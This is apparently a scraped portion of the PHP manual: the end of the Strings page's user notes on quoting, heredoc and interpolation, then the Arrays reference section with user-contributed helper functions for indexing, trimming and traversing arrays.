  $a .= ' string'.$b.' string'.$b.' string'.$b;
  $a .= ' string'.$b.' string'.$b.' string'.$b;
  $a .= ' string'.$b.' string'.$b.' string'.$b;
  $a .= ' string'.$b.' string'.$b.' string'.$b;
  $a .= ' string'.$b.' string'.$b.' string'.$b;
  $a .= ' string'.$b.' string'.$b.' string'.$b;
}

function test_double_quote_concat()
{
  $b = "string";
  $a  = " string".$b." string".$b." string".$b;
  $a .= " string".$b." string".$b." string".$b;
  $a .= " string".$b." string".$b." string".$b;
  $a .= " string".$b." string".$b." string".$b;
  $a .= " string".$b." string".$b." string".$b;
  $a .= " string".$b." string".$b." string".$b;
  $a .= " string".$b." string".$b." string".$b;
  $a .= " string".$b." string".$b." string".$b;
}

function test_double_quote_replace()
{
  $b = "string";
  $a = " string$b string$b string$b
string$b string$b string$b
string$b string$b string$b
string$b string$b string$b
string$b string$b string$b
string$b string$b string$b
string$b string$b string$b
string$b string$b string$b";
}

function test_eot_replace()
{
  $b = <<<EOT
string
EOT;
  $a = <<<EOT
string{$b} string{$b} string{$b}
string{$b} string{$b} string{$b}
string{$b} string{$b} string{$b}
string{$b} string{$b} string{$b}
string{$b} string{$b} string{$b}
string{$b} string{$b} string{$b}
string{$b} string{$b} string{$b}
string{$b} string{$b} string{$b}
EOT;
}

$iter = 2000;

for( $i=0; $i<$iter; $i++ )
  test_simple_quote_concat();

for( $i=0; $i<$iter; $i++ )
  test_double_quote_concat();

for( $i=0; $i<$iter; $i++ )
  test_double_quote_replace();

for( $i=0; $i<$iter; $i++ )
  test_eot_replace();

?>

I've use xdebug profiler to obtain the followed results:

test_simple_quote_concat : 173ms
test_double_quote_concat : 161ms
test_double_quote_replace : 147ms
test_eot_replace : 130ms
bryant at zionprogramming dot com 27-Feb-2007 12:16
As of (at least) PHP 5.2, you can no longer convert an object to a string unless it has a __toString method. Converting an object without this method now gives the error:

PHP Catchable fatal error:  Object of class <classname> could not be converted to string in <file> on line <line>

Try this code to get the same results as before:

<?php

if (!is_object($value) || method_exists($value, '__toString')) {
    $string = (string)$value;
} else {
    $string = 'Object';
}

?>
fmouse at fmp dot com 21-Feb-2007 10:20
It may be obvious to some, but it's convenient to note that variables _will_ be expanded inside of single quotes if these occur inside of a double-quoted string.  This can be handy in constructing exec calls with complex data to be passed to other programs.  e.g.:

$foo = "green";
echo "the grass is $foo";
the grass is green

echo 'the grass is $foo';
the grass is $foo

echo "the grass is '$foo'";
the grass is 'green'
bishop 28-Mar-2006 12:58
You may use heredoc syntax to comment out large blocks of code, as follows:
<?php
<<<_EOC
    // end-of-line comment will be masked... so will regular PHP:
    echo ($test == 'foo' ? 'bar' : 'baz');
    /* c-style comment will be masked, as will other heredocs (not using the same marker) */
    echo <<<EOHTML
This is text you'll never see!
EOHTML;
    function defintion($params) {
        echo 'foo';
    }
    class definition extends nothing     {
       function definition($param) {
          echo 'do nothing';
       }
    }

    how about syntax errors?; = gone, I bet.
_EOC;
?>

Useful for debugging when C-style just won't do.  Also useful if you wish to embed Perl-like Plain Old Documentation; extraction between POD markers is left as an exercise for the reader.

Note there is a performance penalty for this method, as PHP must still parse and variable substitute the string.
webmaster at rephunter dot net 30-Nov-2005 08:57
Use caution when you need white space at the end of a heredoc. Not only is the mandatory final newline before the terminating symbol stripped, but an immediately preceding newline or space character is also stripped.

For example, in the following, the final space character (indicated by \s -- that is, the "\s" is not literally in the text, but is only used to indicate the space character) is stripped:

$string = <<<EOT
this is a string with a terminating space\s
EOT;

In the following, there will only be a single newline at the end of the string, even though two are shown in the text:

$string = <<<EOT
this is a string that must be
followed by a single newline

EOT;
DELETETHIS dot php at dfackrell dot mailshell dot com 01-Nov-2005 08:05
Just some quick observations on variable interpolation:

Because PHP looks for {? to start a complex variable expression in a double-quoted string, you can call object methods, but not class methods or unbound functions.

This works:

<?php
class a {
    function b() {
        return "World";
    }
}
$c = new a;
echo "Hello {$c->b()}.\n"
?>

While this does not:

<?php
function b() {
    return "World";
}
echo "Hello {b()}\n";
?>

Also, it appears that you can almost without limitation perform other processing within the argument list, but not outside it.  For example:

<?
$true = true;
define("HW", "Hello World");
echo "{$true && HW}";
?>

gives: Parse error: parse error, unexpected T_BOOLEAN_AND, expecting '}' in - on line 3

There may still be some way to kludge the syntax to allow constants and unbound function calls inside a double-quoted string, but it isn't readily apparent to me at the moment, and I'm not sure I'd prefer the workaround over breaking out of the string at this point.
lelon at lelon dot net 27-Oct-2004 12:01
You can use the complex syntax to put the value of both object properties AND object methods inside a string.  For example...
<?php
class Test {
    public $one = 1;
    public function two() {
        return 2;
    }
}
$test = new Test();
echo "foo {$test->one} bar {$test->two()}";
?>
Will output "foo 1 bar 2".

However, you cannot do this for all values in your namespace.  Class constants and static properties/methods will not work because the complex syntax looks for the '$'.
<?php
class Test {
    const ONE = 1;
}
echo "foo {Test::ONE} bar";
?>
This will output "foo {Test::one} bar".  Constants and static properties require you to break up the string.
Jonathan Lozinski 06-Aug-2004 12:03
A note on the heredoc stuff.

If you're editing with VI/VIM and possible other syntax highlighting editors, then using certain words is the way forward.  if you use <<<HTML for example, then the text will be hightlighted for HTML!!

I just found this out and used sed to alter all EOF to HTML.

JAVASCRIPT also works, and possibly others.  The only thing about <<<JAVASCRIPT is that you can't add the <script> tags..,  so use HTML instead, which will correctly highlight all JavaScript too..

You can also use EOHTML, EOSQL, and EOJAVASCRIPT.
www.feisar.de 28-Apr-2004 07:49
watch out when comparing strings that are numbers. this example:

<?php

$x1 = '111111111111111111';
$x2 = '111111111111111112';

echo ($x1 == $x2) ? "true\n" : "false\n";

?>

will output "true", although the strings are different. With large integer-strings, it seems that PHP compares only the integer values, not the strings. Even strval() will not work here.

To be on the safe side, use:

$x1 === $x2
atnak at chejz dot com 11-Apr-2004 03:53
Here is a possible gotcha related to oddness involved with accessing strings by character past the end of the string:

$string = 'a';

var_dump($string[2]);  // string(0) ""
var_dump($string[7]);  // string(0) ""
$string[7] === '';  // TRUE

It appears that anything past the end of the string gives an empty string..  However, when E_NOTICE is on, the above examples will throw the message:

Notice:  Uninitialized string offset:  N in FILE on line LINE

This message cannot be specifically masked with @$string[7], as is possible when $string itself is unset.

isset($string[7]);  // FALSE
$string[7] === NULL;  // FALSE

Even though it seems like a not-NULL value of type string, it is still considered unset.
vallo at cs dot helsinki dot fi 03-Nov-2002 05:41
Even if the correct way to handle variables is determined from the context, some things just doesn't work without doing some preparation.

I spent several hours figuring out why I couldn't index a character out of a string after doing some math with it just before. The reason was that PHP thought the string was an integer!

$reference = $base + $userid;
.. looping commands ..
$chartohandle = $reference{$last_char - $i};

Above doesn't work. Reason: last operation with $reference is to store a product of an addition -> integer variable. $reference .=""; (string catenation) had to be added before I got it to work:

$reference = $base + $userid;
$reference .= "";
.. looping commands ..
$chartohandle = $reference{$last_char - $i};

Et voil�! Nice stream of single characters.
Floating point numbers
Arrays
Types


Arrays

An array in PHP is actually an ordered map. A map is a type that associates values to keys. This type is optimized for several different uses; it can be treated as an array, list (vector), hash table (an implementation of a map), dictionary, collection, stack, queue, and probably more. As array values can be other arrays, trees and multidimensional arrays are also possible.

Explanation of those data structures is beyond the scope of this manual, but at least one example is provided for each of them. For more information, look towards the considerable literature that exists about this broad topic.

Syntax

Specifying with array()

An array can be created by the array() language construct. It takes as parameters any number of comma-separated key => value pairs.

array(  key =>  value
     , ...
     )
// key may only be an integer or string
// value may be any value of any type
<?php
$arr = array("foo" => "bar", 12 => true);

echo $arr["foo"]; // bar
echo $arr[12];    // 1
?>

A key may be either an integer or a string. If a key is the standard representation of an integer, it will be interpreted as such (i.e. "8" will be interpreted as 8, while "08" will be interpreted as "08"). Floats in key are truncated to integer. The indexed and associative array types are the same type in PHP, which can both contain integer and string indices.

A value can be any PHP type.

Note:

Attempting to access an array key which has not been defined is the same as accessing any other undefined variable: an E_NOTICE-level error message will be issued, and the result will be NULL.

<?php
$arr = array("somearray" => array(6 => 5, 13 => 9, "a" => 42));

echo $arr["somearray"][6];    // 5
echo $arr["somearray"][13];   // 9
echo $arr["somearray"]["a"];  // 42
?>

If a key is not specified for a value, the maximum of the integer indices is taken and the new key will be that value plus 1. If a key that already has an assigned value is specified, that value will be overwritten.

<?php
// This array is the same as ...
array(5 => 43, 32, 56, "b" => 12);

// ...this array
array(5 => 43, 6 => 32, 7 => 56, "b" => 12);
?>
Warning

Before PHP 4.3.0, appending to an array in which the current maximum key was negative would create a new key as described above. Since PHP 4.3.0, the new key will be 0.

Using TRUE as key will evaluate to integer 1 as a key. Using FALSE as key will evaluate to integer 0 as a key. Using NULL as a key will evaluate to the empty string. Using the empty string as a key will create (or overwrite) a key with the empty string and its value; it is not the same as using empty brackets.

Arrays and objects can not be used as keys. Doing so will result in a warning: Illegal offset type.

Creating/modifying with square bracket syntax

An existing array can be modified by explicitly setting values in it.

This is done by assigning values to the array, specifying the key in brackets. The key can also be omitted, resulting in an empty pair of brackets ([]).

$arr[key] = value;
$arr[] = value;
// key may be an integer or string
// value may be any value of any type

If $arr doesn't exist yet, it will be created, so this is also an alternative way to create an array. To change a certain value, assign a new value to that element using its key. To remove a key/value pair, call the unset() function on it.

<?php
$arr = array(5 => 1, 12 => 2);

$arr[] = 56;    // This is the same as $arr[13] = 56;
                // at this point of the script

$arr["x"] = 42; // This adds a new element to
                // the array with key "x"

unset($arr[5]); // This removes the element from the array

unset($arr);    // This deletes the whole array
?>

Note:

As mentioned above, if no key is specified, the maximum of the existing integer indices is taken, and the new key will be that maximum value plus 1. If no integer indices exist yet, the key will be 0 (zero).

Note that the maximum integer key used for this need not currently exist in the array. It need only have existed in the array at some time since the last time the array was re-indexed. The following example illustrates:

<?php
// Create a simple array.
$array = array(1, 2, 3, 4, 5);
print_r($array);

// Now delete every item, but leave the array itself intact:
foreach ($array as $i => $value) {
    unset($array[$i]);
}
print_r($array);

// Append an item (note that the new key is 5, instead of 0).
$array[] = 6;
print_r($array);

// Re-index:
$array = array_values($array);
$array[] = 7;
print_r($array);
?>

The above example will output:

Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)
Array
(
)
Array
(
    [5] => 6
)
Array
(
    [0] => 6
    [1] => 7
)

Useful functions

There are quite a few useful functions for working with arrays. See the array functions section.

Note:

The unset() function allows removing keys from an array. Be aware that the array will not be reindexed. If a true "remove and shift" behavior is desired, the array can be reindexed using the array_values() function.

<?php
$a = array(1 => 'one', 2 => 'two', 3 => 'three');
unset($a[2]);
/* will produce an array that would have been defined as
   $a = array(1 => 'one', 3 => 'three');
   and NOT
   $a = array(1 => 'one', 2 =>'three');
*/

$b = array_values($a);
// Now $b is array(0 => 'one', 1 =>'three')
?>

The foreach control structure exists specifically for arrays. It provides an easy way to traverse an array.

Array do's and don'ts

Why is $foo[bar] wrong?

Always use quotes around a string literal array index. For example, $foo['bar'] is correct, while $foo[bar] is not. But why? It is common to encounter this kind of syntax in old scripts:

<?php
$foo[bar] = 'enemy';
echo $foo[bar];
// etc
?>

This is wrong, but it works. The reason is that this code has an undefined constant (bar) rather than a string ('bar' - notice the quotes). PHP may in future define constants which, unfortunately for such code, have the same name. It works because PHP automatically converts a bare string (an unquoted string which does not correspond to any known symbol) into a string which contains the bare string. For instance, if there is no defined constant named bar, then PHP will substitute in the string 'bar' and use that.

Note: This does not mean to always quote the key. Do not quote keys which are constants or variables, as this will prevent PHP from interpreting them.

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('html_errors', false);
// Simple array:
$array = array(1, 2);
$count = count($array);
for ($i = 0; $i < $count; $i++) {
    echo "\nChecking $i: \n";
    echo "Bad: " . $array['$i'] . "\n";
    echo "Good: " . $array[$i] . "\n";
    echo "Bad: {$array['$i']}\n";
    echo "Good: {$array[$i]}\n";
}
?>

The above example will output:

Checking 0:
Notice: Undefined index:  $i in /path/to/script.html on line 9
Bad:
Good: 1
Notice: Undefined index:  $i in /path/to/script.html on line 11
Bad:
Good: 1

Checking 1:
Notice: Undefined index:  $i in /path/to/script.html on line 9
Bad:
Good: 2
Notice: Undefined index:  $i in /path/to/script.html on line 11
Bad:
Good: 2

More examples to demonstrate this behaviour:

<?php
// Show all errors
error_reporting(E_ALL);

$arr = array('fruit' => 'apple', 'veggie' => 'carrot');

// Correct
print $arr['fruit'];  // apple
print $arr['veggie']; // carrot

// Incorrect.  This works but also throws a PHP error of level E_NOTICE because
// of an undefined constant named fruit
//
// Notice: Use of undefined constant fruit - assumed 'fruit' in...
print $arr[fruit];    // apple

// This defines a constant to demonstrate what's going on.  The value 'veggie'
// is assigned to a constant named fruit.
define('fruit', 'veggie');

// Notice the difference now
print $arr['fruit'];  // apple
print $arr[fruit];    // carrot

// The following is okay, as it's inside a string. Constants are not looked for
// within strings, so no E_NOTICE occurs here
print "Hello $arr[fruit]";      // Hello apple

// With one exception: braces surrounding arrays within strings allows constants
// to be interpreted
print "Hello {$arr[fruit]}";    // Hello carrot
print "Hello {$arr['fruit']}";  // Hello apple

// This will not work, and will result in a parse error, such as:
// Parse error: parse error, expecting T_STRING' or T_VARIABLE' or T_NUM_STRING'
// This of course applies to using superglobals in strings as well
print "Hello $arr['fruit']";
print "Hello $_GET['foo']";

// Concatenation is another option
print "Hello " . $arr['fruit']; // Hello apple
?>

When error_reporting is set to show E_NOTICE level errors (by setting it to E_ALL, for example), such uses will become immediately visible. By default, error_reporting is set not to show notices.

As stated in the syntax section, what's inside the square brackets ('[' and ']') must be an expression. This means that code like this works:

<?php
echo $arr[somefunc($bar)];
?>

This is an example of using a function return value as the array index. PHP also knows about constants:

<?php
$error_descriptions[E_ERROR]   = "A fatal error has occured";
$error_descriptions[E_WARNING] = "PHP issued a warning";
$error_descriptions[E_NOTICE]  = "This is just an informal notice";
?>

Note that E_ERROR is also a valid identifier, just like bar in the first example. But the last example is in fact the same as writing:

<?php
$error_descriptions[1] = "A fatal error has occured";
$error_descriptions[2] = "PHP issued a warning";
$error_descriptions[8] = "This is just an informal notice";
?>

because E_ERROR equals 1, etc.

So why is it bad then?

At some point in the future, the PHP team might want to add another constant or keyword, or a constant in other code may interfere. For example, it is already wrong to use the words empty and default this way, since they are reserved keywords.

Note: To reiterate, inside a double-quoted string, it's valid to not surround array indexes with quotes so "$foo[bar]" is valid. See the above examples for details on why as well as the section on variable parsing in strings.

Converting to array

For any of the types: integer, float, string, boolean and resource, converting a value to an array results in an array with a single element with index zero and the value of the scalar which was converted. In other words, (array)$scalarValue is exactly the same as array($scalarValue).

If an object is converted to an array, the result is an array whose elements are the object's properties. The keys are the member variable names, with a few notable exceptions: integer properties are unaccessible; private variables have the class name prepended to the variable name; protected variables have a '*' prepended to the variable name. These prepended values have null bytes on either side. This can result in some unexpected behaviour:

<?php

class A {
    private $A; // This will become '\0A\0A'
}

class B extends A {
    private $A; // This will become '\0B\0A'
    public $AA; // This will become 'AA'
}

var_dump((array) new B());
?>

The above will appear to have two keys named 'AA', although one of them is actually named '\0A\0A'.

Converting NULL to an array results in an empty array.

Comparing

It is possible to compare arrays with the array_diff() function and with array operators.

Examples

The array type in PHP is very versatile. Here are some examples:

<?php
// This:
$a = array( 'color' => 'red',
            'taste' => 'sweet',
            'shape' => 'round',
            'name'  => 'apple',
            4        // key will be 0
          );

$b = array('a', 'b', 'c');

// . . .is completely equivalent with this:
$a = array();
$a['color'] = 'red';
$a['taste'] = 'sweet';
$a['shape'] = 'round';
$a['name']  = 'apple';
$a[]        = 4;        // key will be 0

$b = array();
$b[] = 'a';
$b[] = 'b';
$b[] = 'c';

// After the above code is executed, $a will be the array
// array('color' => 'red', 'taste' => 'sweet', 'shape' => 'round',
// 'name' => 'apple', 0 => 4), and $b will be the array
// array(0 => 'a', 1 => 'b', 2 => 'c'), or simply array('a', 'b', 'c').
?>

Example #1 Using array()

<?php
// Array as (property-)map
$map = array( 'version'    => 4,
              'OS'         => 'Linux',
              'lang'       => 'english',
              'short_tags' => true
            );

// strictly numerical keys
$array = array( 7,
                8,
                0,
                156,
                -10
              );
// this is the same as array(0 => 7, 1 => 8, ...)

$switching = array(         10, // key = 0
                    5    =>  6,
                    3    =>  7,
                    'a'  =>  4,
                            11, // key = 6 (maximum of integer-indices was 5)
                    '8'  =>  2, // key = 8 (integer!)
                    '02' => 77, // key = '02'
                    0    => 12  // the value 10 will be overwritten by 12
                  );

// empty array
$empty = array();
?>

Example #2 Collection

<?php
$colors = array('red', 'blue', 'green', 'yellow');

foreach ($colors as $color) {
    echo "Do you like $color?\n";
}

?>

The above example will output:

Do you like red?
Do you like blue?
Do you like green?
Do you like yellow?

Changing the values of the array directly is possible since PHP 5 by passing them by reference. Before that, a workaround is necessary:

Example #3 Changing element in the loop

<?php
// PHP 5
foreach ($colors as &$color) {
    $color = strtoupper($color);
}
unset($color); /* ensure that following writes to
$color will not modify the last array element */

// Workaround for older versions
foreach ($colors as $key => $color) {
    $colors[$key] = strtoupper($color);
}

print_r($colors);
?>

The above example will output:

Array
(
    [0] => RED
    [1] => BLUE
    [2] => GREEN
    [3] => YELLOW
)

This example creates a one-based array.

Example #4 One-based index

<?php
$firstquarter  = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>

The above example will output:

Array
(
    [1] => 'January'
    [2] => 'February'
    [3] => 'March'
)

Example #5 Filling an array

<?php
// fill an array with all items from a directory
$handle = opendir('.');
while (false !== ($file = readdir($handle))) {
    $files[] = $file;
}
closedir($handle);
?>

Arrays are ordered. The order can be changed using various sorting functions. See the array functions section for more information. The count() function can be used to count the number of items in an array.

Example #6 Sorting an array

<?php
sort($files);
print_r($files);
?>

Because the value of an array can be anything, it can also be another array. This enables the creation of recursive and multi-dimensional arrays.

Example #7 Recursive and multi-dimensional arrays

<?php
$fruits = array ( "fruits"  => array ( "a" => "orange",
                                       "b" => "banana",
                                       "c" => "apple"
                                     ),
                  "numbers" => array ( 1,
                                       2,
                                       3,
                                       4,
                                       5,
                                       6
                                     ),
                  "holes"   => array (      "first",
                                       5 => "second",
                                            "third"
                                     )
                );

// Some examples to address values in the array above
echo $fruits["holes"][5];    // prints "second"
echo $fruits["fruits"]["a"]; // prints "orange"
unset($fruits["holes"][0]);  // remove "first"

// Create a new multi-dimensional array
$juices["apple"]["green"] = "good";
?>

Array assignment always involves value copying. Use the reference operator to copy an array by reference.

<?php
$arr1 = array(2, 3);
$arr2 = $arr1;
$arr2[] = 4; // $arr2 is changed,
             // $arr1 is still array(2, 3)

$arr3 = &$arr1;
$arr3[] = 4; // now $arr1 and $arr3 are the same
?>

User Contributed Notes

Anonymous 27-Oct-2011 05:00
This is a simple solution for taking previous and next items, even if we are at the ends of the array.

<?php

    $current_key; // the key of the item we want to search from

    if (isset($array[$current_key+1])) {

        $array_next = $array[$current_key+1];   // get the next item if there is

    } else {

        $array_next = $array[0];                // if not take the first (this means this is the end of the array)

    }

    if (isset($array[$current_key-1])) {

        $array_prev = $array[$current_key-1];   // get the previous item if there is

    } else {

        $array_prev = $array[count($array)-1];  // if not take the last item (this means this is the beginning of the array)

    }

    ?>
prince at 3ddatalabs dot com 26-Oct-2011 06:02
Hi, you also can try goAssocArrayNumeric() on two-dimensional or three-dimensional arrays.

<?php
//Now it's a two-dimensional array
$myTwoDimArray = array('a'=>array('a0'=>'apple','a1'=>'avocado','a2'=>'apricot'), 'b'=>array('b0'=>'banana','b1'=>'blackberry','b2'=>'breadfruit'), 'c'=>array('c0'=>'carrot','c1'=>'coco','c2'=>'coffee'));

echo $myTwoDimArray[0][0]; //won't work! But,

//using the same function used to access associative arrays numerically, we may access 2-dimensional arrays numerically.
function goAssocArrayNumeric($arrAssoc, $key=-1)
{
 $i = -1;
 foreach ($arrAssoc as $k => $v)
 {
  $i++;
  if($i == $key)
  {
   return $v;
  }
 }
 return FALSE;
}

//usage: applying it twice.
echo goAssocArrayNumeric(goAssocArrayNumeric($myTwoDimArray,0),0);//apple
echo goAssocArrayNumeric(goAssocArrayNumeric($myTwoDimArray,2),1);//coco
echo goAssocArrayNumeric(goAssocArrayNumeric($myTwoDimArray,2),2);//coffee
?>
Thanks!
Prince.
prince at 3ddatalabs dot com 26-Oct-2011 09:35
Hi, here's a way to access an associative array via it's numeric index.
<?php
//sample associative array:
$myAssocArray = array('a'=>'apple', 'b'=>'banana', 'c'=>'carrot', 'd'=>'dragon fruit');

echo $assocArray[0];
//Above won't work! Because you can't access an associative array numerically. But,

function goAssocArrayNumeric($arrAssoc, $key=-1)
{
 $i = -1;
 foreach ($arrAssoc as $k => $v)
 {
  $i++;
  if ($i == $key)
  {
   return $v;
  }
 }
 return FALSE;
}

//usage:
echo goAssocArrayNumeric($myAssocArray,0);//apple
echo goAssocArrayNumeric($myAssocArray,3);//dragon fruit
?>
Hope it helps!
Thanks.
Zane MegaLab.it 22-Aug-2011 02:10
Beware: you can't access an associative array via it's numeric index:

<?php
$a = array(
    'foo' => 'bar',
    'sasfas' => 'addasda',
    'safafsa' => 'hfdhfdf'
);

echo $a[0]; // Undefined index, not 'bar'

?>
mlvljr 20-May-2011 06:37
please note that when arrays are copied, the "reference status" of their members is preserved (http://www.php.net/manual/en/language.references.whatdo.php).
abimaelrc 10-May-2011 05:15
This is another way to get value from a multidimensional array, but for versions of php >= 5.3.x
<?php
function array_value_recursive($key, array $arr){
    $val = null;
    array_walk_recursive($arr, function($v, $k) use($key, &$val){
        $val = $k == $key ? $v : (!is_null($val) ? $val : false);
    });
    return $val;
}

$arr = array(
    'foo' => 'foo',
    'bar' => array(
        'baz' => 'baz',
        'candy' => 'candy',
        'vegetable' => array(
            'carrot' => 'carrot',
        )
    ),
    'fruits' => 'fruits',
);

var_dump(array_value_recursive('carrot', $arr)); // string(6) "carrot"
var_dump(array_value_recursive('apple', $arr)); // bool(false)
var_dump(array_value_recursive('baz', $arr)); // string(3) "baz"
var_dump(array_value_recursive('candy', $arr)); // string(5) "candy"
var_dump(array_value_recursive('pear', $arr)); // bool(false)
?>
chris AT cmbuckley DOT co DOT uk 30-Apr-2011 04:45
Possibly unexpected behaviour:

<?php

$array = array();
var_dump($array['key']); // E_NOTICE (undefined key)

$null = null;
var_dump($null['key']); // no E_NOTICE

?>
Ganpat Thakur 07-Apr-2011 10:33
I was in need to get value of key which resides at any level in an multidimensional array. Unfortunately there is no such array function. So I write my own as below...

<?php
function array_get_key_val($key, $heystack) {
  if (is_array($heystack)) {
    foreach ($heystack as $k => $v) {
      if ($k == $key) {
        return $v;
      }
      elseif (is_array($v)) {
        return array_get_key_val($key, $v);
      }
    }
  }
  return FALSE;
}
?>

Hope this will help to few.
anhsang9x at gmail dot com 25-Mar-2011 06:09
I'm want to save values in array and display its, can to simple way:

<?php
$arr1 = array();//begin array

$index = 0;//array's index

$value_return = array();//Values me need
for($i = 0; $i<10; $i++)
{
    $arr1[$i] = rand(10, 100);//use to be function random for get values from 10 to 100.

    if($arr1[$i]%2 == 0)//Get values me need.
    {
        $value_return[$index] = $arr1[$i];//save values in this array
        $index += 1;//get space save for index.
    }
}

//display result.
foreach($value_return as $value_display)
    echo "</br>".$value_display."</br>";

print_r($arr1);
?>
lemurjan at gmail dot com 10-Mar-2011 04:54
Sometimes you may need an array of constants including concatenated strings.

That works fine in this case:

<?php
define("GLUE", "&");

function array_to_string($a) {
    $r = "";
    foreach ($a as $key => $value) { $r .= "$key => $value<br>"; };
    return $r;
}
// DECLARING ARRAY (1)
$array = array("one", "two", "one".GLUE."two");

echo array_to_string($array);
?>

This seems rather strange behavior in a CLASS nevertheless:

<?php
class wrong_class {
    // DECLARING ARRAY (2)
    private $array = array("one", "two", "one".GLUE."two");
    function __toString() {
        return array_to_string($this->array);
    }
}
$wc = new wrong_class();
echo $wc;
/*
    Parse error: parse error, expecting `')'' in ... code on line 21
*/
?>

Anyway, if you force this declaring method inside a CLASS, you could change the object map directly:

<?php
class proper_class {
    function __construct() {
        // DECLARING ARRAY (3)
        $this->array = array("one", "two", "one".GLUE."two");
    }
    function __toString() {
        return array_to_string($this->array);
    }
}
$pc = new proper_class();
echo $pc;
?>
falkon303 at gmail dot com 30-Jan-2011 01:08
Multidimensional arrays work great for checking search options if they exist in a $_GET string.  The following saved me a lot of time.

<?php

$advanced_option['color'] = array("red", "blue", "green");
$advanced_option['state'] = array("new", "broken");
$advanced_option['state'] = array("on","off");

foreach($advanced_option as $y => $advanced_option[$y])
{

    // HERE WARE ARE GOING INTO EACH ARRAY'S VALUES/ITEMS
    $sub_array = $advanced_option[$y];
    foreach($sub_array as $z => $sub_array[$z])
    {
        // IF THE SEARCH OPTI0N EXISTS IN THE GET STRING, SET AN ARRAY NAMED AFTER THAT VALUE TO BE CHECKED (FOR CHECKBOXES & RADIOBUTTONS)
        if ($_GET[$y] == $advanced_option[$y][$z])
        {
            $checked[$advanced_option[$y][$z]] = "checked";
        }
    }
}

?>
Anonymous 23-Nov-2010 02:27
In case you had to get an element from a function-returned array without having to save the array to a variable, here's a workaround I've come up with.

<?php
$stuff = 'something random here';

// To get the first element in the array, use reset
echo reset(explode(' ', $stuff));
// Returns "something"

// To get the last element, use end
echo end(explode(' ', $stuff));
// Returns "here"

// For an in-between element, you can use array_search on the flipped array
$i = 1; //key for the element
echo array_search($i, array_flip(explode(' ', $stuff)));
// Returns "random"
?>
Flappi282 20-Aug-2010 10:03
Heres a simple function I wrote to remove a value from an array, without leaving a hole:

<?php
function removeFromArray(&$array, $key){
foreach($array as $j=>$i){
if($i == $key){
$array = array_values(unset($array[$j]));
return true;
break;
}
}
?>

Returns true on success, or false on failure. The array will be automatically updated
Walter Tross 12-Aug-2010 11:04
It is true that "array assignment always involves value copying", but the copy is a "lazy copy". This means that the data of the two variables occupy the same memory as long as no array element changes.

E.g., if you have to pass an array to a function that only needs to read it, there is no advantage at all in passing it by reference.
ivegner at yandex dot ru 22-Jul-2010 04:20
Like in Perl, you can use curly braces ({}) instead of square brackets ([]) to access array members:

<?php
$a = array ();
$a[7] = 'seven';
$a{'hello'} = 'world';
print $a{7} . ' ' . $a['hello'];
?>

Prints 'seven world'.
william at cycronsystems dot com 09-Jun-2010 04:28
I couldn't find a way to Trim an array in PHP so i wrote this little function that seemed to do the trick. It will trim the array down to a specified size

<?php

        //Utility Function to Trim Array
        function trim_array(array $array,$int){
            $newArray = array();
            for($i=0; $i<$int; $i++){
                array_push($newArray,$array[$i]);
            }
            return (array)$newArray;
        }

?>

Example:
var_dump($treatList);
 array(3) {
    ["id"]=>
    string(3) "476"
    ["categoryID"]=>
    string(2) "49"
    ["title"]=>
    string(55) "80% off Sidewalk Crawling Classes from Urban Adventures"

$treatList = trim_array($listist,2);
Will result in:
var_dump($treatList);
 array(2) {
    ["id"]=>
    string(3) "476"
    ["categoryID"]=>
    string(2) "49"
zachera 03-Jun-2010 12:39
function array_closest_key($needle,$haystack){
    foreach($haystack as $key => $value){
        if($needle <= $value){
            return $key;
        }
    }
}

Get the closest key to the specified $needle out of $haystack.
dtomasiewicz at gmail dot com 12-May-2010 10:42
<?php
    /**
     * Functions for examining and manipulating matrices (n-dimensional arrays) of data
     * with string dot-separated paths. For example, you might do this with multidimensional
     * array:
     *   $var = $array['someKey']['cats']['dogs']['potato'];
     *
     * Accomplishing this can be a nightmare if you don't know the depth of the path or the array
     * is of a variable dimension.
     *
     * You can accomplish the same by using $array as a Matrix:
     *   $array = new Matrix($array);
     *   $var = $array->get('someKey.cats.dogs.potato);
     *
     * @author Daniel Tomasiewicz <www.fourstaples.com>
     */
    class Matrix {
        private $data;

        public function __construct(array $data = array()) {
            $this->data = $data;
        }

        /**
         * Gets the value at the specified path.
         */
        public function get($path = null) {
            if($path === null) {
                return $this->data;
            }

            $segs = explode('.', $path);

            $target =& $this->data;
            for($i = 0; $i < count($segs)-1; $i++) {
                if(isset($target[$segs[$i]]) && is_array($target[$segs[$i]])) {
                    $target =& $target[$segs[$i]];
                } else {
                    return null;
                }
            }

            if(isset($target[$segs[count($segs)-1]])) {
                return $target[$segs[count($segs)-1]];
            } else {
                return null;
            }
        }

        /**
         * Sets a value to a specified path. If the provided value is
         * null, the existing value at the path will be unset.
         */
        public function set($path, $value = null) {
            if(is_array($path)) {
                foreach($path as $p => $v) {
                    $this->set($p, $v);
                }
            } else {
                $segs = explode('.', $path);

                $target =& $this->data;
                for($i = 0; $i < count($segs)-1; $i++) {
                    if(!isset($target[$segs[$i]])) {
                        $target[$segs[$i]] = array();
                    }

                    $target =& $target[$segs[$i]];
                }

                if($segs[count($segs)-1] == '*') {
                    foreach($target as $key => $value) {
                        $target[$key];
                    }
                } elseif($value === null && isset($target[$segs[count($segs)-1]])) {
                    unset($target[$segs[count($segs)-1]]);
                } else {
                    $target[$segs[count($segs)-1]] = $value;
                }
            }
        }

        /**
         * Returns a flattened version of the data (one-dimensional array
         * with dot-separated paths as its keys).
         */
        public function flatten($path = null) {
            $data = $this->get($path);

            if($path === null) {
                $path = '';
            } else {
                $path .= '.';
            }

            $flat = array();

            foreach($data as $key => $value) {
                if(is_array($value)) {
                    $flat += $this->flatten($path.$key);
                } else {
                    $flat[$path.$key] = $value;
                }
            }

            return $flat;
        }

        /**
         * Expands a flattened array to an n-dimensional matrix.
         */
        public static function expand($flat) {
            $matrix = new Matrix();

            foreach($flat as $key => $value) {
                $matrix->set($key, $value);
            }

            return $matrix;
        }
    }
?>
john at nowhere dot com 18-Dec-2009 09:33
If you ever wondered if you can do something like:

<?php
$a = function_that_returns_an_array()['some_index']['some_other_index'] ;
?>

The answer is no, you can't. But you can use the following function. I named it i() because it's a short name and stands for "to index".

<?php

/**
 * Usage: i( $array, $index [, $index2, $index3 ...] )
 *
 * This is functionally equivalent to $array[$index1][$index2][$index3]...
 *
 * It can replace the more prolix
 *
 *   $tmp = some_function_that_returns_an_array() ;
 *   $value = $tmp['some_index']['some_other_index'] ;
 *
